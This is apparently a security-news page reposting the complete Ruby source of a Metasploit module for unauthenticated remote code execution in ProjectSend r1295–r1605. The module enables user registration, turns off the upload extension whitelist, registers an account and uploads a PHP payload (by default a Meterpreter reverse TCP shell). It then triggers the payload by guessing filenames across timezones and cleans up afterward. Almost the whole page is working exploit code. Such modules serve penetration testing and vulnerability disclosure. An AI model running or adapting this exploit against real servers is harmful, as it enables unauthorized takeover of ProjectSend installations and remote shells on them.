Security
Headlines
HeadlinesLatestCVEs

Headline

ProjectSend R1605 Unauthenticated Remote Code Execution

This Metasploit module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605. The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration, disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.

Packet Storm
#csrf#vulnerability#web#js#git#php#rce#xpath#pdf#auth
class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::PhpEXE  prepend Msf::Exploit::Remote::AutoCheck  class CSRFRetrievalError < StandardError; end  def initialize(info = {})    super(      update_info(        info,        'Name' => 'ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.          The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,          disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.        },        'License' => MSF_LICENSE,        'Author' => [          'Florent Sicchio', # Discovery          'Hugo Clout', # Discovery          'ostrichgolf' # Metasploit module        ],        'References' => [          ['URL', 'https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744'],          ['URL', 'https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf'],        ],        'DisclosureDate' => '2024-07-19',        'DefaultTarget' => 0,        'Targets' => [          [            'PHP Command',            {              'Platform' => 'php',              'Arch' => ARCH_PHP,              'Type' => :php_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ]        ],        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new(          'TARGETURI',          [true, 'The TARGETURI for ProjectSend', '/']        )      ]    )  end  def check    # Obtain the current title of the website    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    return CheckCode::Unknown('Target is not reachable') unless res    # The title will always contain "»" ("&raquo;") regardless of localization. For example: "Log in » ProjectSend"    title_regex = %r{<title>.*?&raquo;\s+(.*?)</title>}    original_title = res.body[title_regex, 1]    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      return CheckCode::Unknown("#{e.class}: #{e}")    end    # Generate a new title for the website    random_new_title = Rex::Text.rand_text_alphanumeric(8)    # Test if the instance is vulnerable by trying to change its title    params = {      'csrf_token' => csrf_token,      'section' => 'general',      'this_install_title' => random_new_title    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'keep_cookie' => true,      'vars_post' => params    })    return CheckCode::Unknown('Failed to connect to the provided URL') unless res    # GET request to check if the title updated    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    # Extract new title for comparison    updated_title = res.body[title_regex, 1]    if updated_title != random_new_title      return CheckCode::Safe    end    # If the title was changed, it is vulnerable and we should restore the original title    params = {      'csrf_token' => csrf_token,      'section' => 'general',      'this_install_title' => original_title    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'keep_cookie' => true,      'vars_post' => params    })    return CheckCode::Appears  end  def get_csrf_token    vprint_status('Extracting CSRF token...')    # Make sure we start from a request with no cookies    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),      'keep_cookies' => true    })    unless res      fail_with(Failure::Unknown, 'No response from server')    end    # Obtain CSRF token    csrf_token = res.get_html_document.xpath('//input[@name="csrf_token"]/@value')&.text    raise CSRFRetrievalError, 'CSRF token not found in the response' if csrf_token.nil? || csrf_token.empty?    vprint_good("Extracted CSRF token: #{csrf_token}")    csrf_token  end  def enable_user_registration_and_auto_approve    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    # Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files    params = {      'csrf_token' => csrf_token,      'section' => 'clients',      'clients_can_register' => 1,      'clients_auto_approve' => 1,      'clients_can_upload' => 1,      'clients_can_delete_own_files' => 1,      'clients_auto_group' => 0,      'clients_can_select_group' => 'none',      'expired_files_hide' => '1'    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'vars_post' => params    })    # Check if we successfully enabled clients registration    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    if res&.code == 200 && res.body.include?('Register as a new client.')      print_good('Client registration successfully enabled')    else      fail_with(Failure::Unknown, 'Could not enable client registration')    end  end  def register_new_user(username, password)    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    # Create a new user with the previously generated username and password    params = {      'csrf_token' => csrf_token,      'name' => username,      'username' => username,      'password' => password,      'email' => Rex::Text.rand_mail_address,      'address' => Rex::Text.rand_text_alphanumeric(8)    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'register.php'),      'keep_cookie' => true,      'vars_post' => params    })    fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403    print_good("User #{username} created with password #{password}")  end  def disable_upload_restrictions    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    print_status('Disabling upload restrictions...')    # Disable upload restrictions, to allow us to upload our shell    params = {      'csrf_token' => csrf_token,      'section' => 'security',      'file_types_limit_to' => 'noone'    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'keep_cookie' => true,      'vars_post' => params    })  end  def login(username, password)    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    print_status("Logging in as #{username}...")    # Attempt to login as our newly created user    params = {      'csrf_token' => csrf_token,      'do' => 'login',      'username' => username,      'password' => password    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),      'vars_post' => params,      'keep_cookies' => true    })    # Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login    if res&.headers&.[]('Set-Cookie') || (res&.code == 302 && res&.headers&.[]('Location')&.include?('/my_files/index.php'))      print_good("Logged in as #{username}")      return csrf_token    else      fail_with(Failure::NoAccess, 'Failed to authenticate. This can happen, you should try to execute the exploit again')    end  end  def upload_file(username, password, filename)    login(username, password)    # Craft the payload    payload = get_write_exec_payload(unlink_self: true)    data = Rex::MIME::Message.new    data.add_part(filename, nil, nil, 'form-data; name="name"')    data.add_part(payload, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(8)}\"")    post_data = data.to_s    # Upload the shell using a POST request    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'),      'ctype' => "multipart/form-data; boundary=#{data.bound}",      'data' => post_data,      'keep_cookies' => true    })    # Check if the server confirms our upload as successful    if res && res.body.include?('"OK":1')      print_good("Successfully uploaded PHP file: #{filename}")      json_response = res.get_json_document      @file_id = json_response.dig('info', 'id')      return res.headers['Date']    else      fail_with(Failure::Unknown, 'PHP file upload failed')    end  end  def calculate_potential_filenames(username, upload_time, filename)    # Hash the username    hashed_username = Digest::SHA1.hexdigest(username)    # Parse the upload time    base_time = Time.parse(upload_time).utc    # Array to store all possible URLs    possible_urls = []    # Iterate over all timezones    (-12..14).each do |timezone|      # Update the variable to reflect the currently looping timezone      adj_time = base_time + (timezone * 3600)      # Insert the potential URL into our array      possible_urls << "#{adj_time.to_i}-#{hashed_username}-#{filename}"    end    possible_urls  end  def cleanup    super    # Delete uploaded file    if @file_id      cookie_jar.clear      csrf_token = login(@username, @password)      # Delete our uploaded payload from the portal      params = {        'csrf_token' => csrf_token,        'action' => 'delete',        'batch[]' => @file_id      }      send_request_cgi({        'method' => 'POST',        'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),        'vars_post' => params,        'keep_cookies' => true      })      # Version r1295 uses a GET request to delete the uploaded file      send_request_cgi({        'method' => 'GET',        'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),        'keep_cookies' => true,        'vars_get' => {          'action' => 'delete',          'batch[]' => @file_id        }      })    end    cookie_jar.clear    csrf_token = ''    begin      csrf_token = get_csrf_token    rescue CSRFRetrievalError => e      fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")    end    # Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files    params = {      'csrf_token' => csrf_token,      'section' => 'clients',      'clients_can_register' => 0,      'clients_auto_approve' => 0,      'clients_can_upload' => 0,      'clients_can_delete_own_files' => 0    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'vars_post' => params    })    # Check if we successfully disabled client registration    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')    })    if res&.body&.include?('Register as a new client.')      fail_with(Failure::Unknown, 'Could not disable client registration')    end    print_good('Client registration successfully disabled')    print_status('Enabling upload restrictions...')    # Enable upload restrictions for every user    params = {      'csrf_token' => csrf_token,      'section' => 'security',      'file_types_limit_to' => 'all'    }    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),      'vars_post' => params    })  end  def trigger_shell(potential_urls)    # Visit each URL, to trigger our payload    potential_urls.each do |url|      send_request_cgi({        'method' => 'GET',        'uri' => normalize_uri(datastore['TARGETURI'], 'upload', 'files', url)      }, 1)    end  end  def exploit    enable_user_registration_and_auto_approve    username = Faker::Internet.username    password = Rex::Text.rand_text_alphanumeric(8)    filename = Rex::Text.rand_text_alphanumeric(8) + '.php'    # Set instance variables for cleanup function    @username = username    @password = password    register_new_user(username, password)    disable_upload_restrictions    upload_time = upload_file(username, password, filename)    potential_urls = calculate_potential_filenames(username, upload_time, filename)    trigger_shell(potential_urls)  endend

Packet Storm: Latest News

CUPS IPP Attributes LAN Remote Code Execution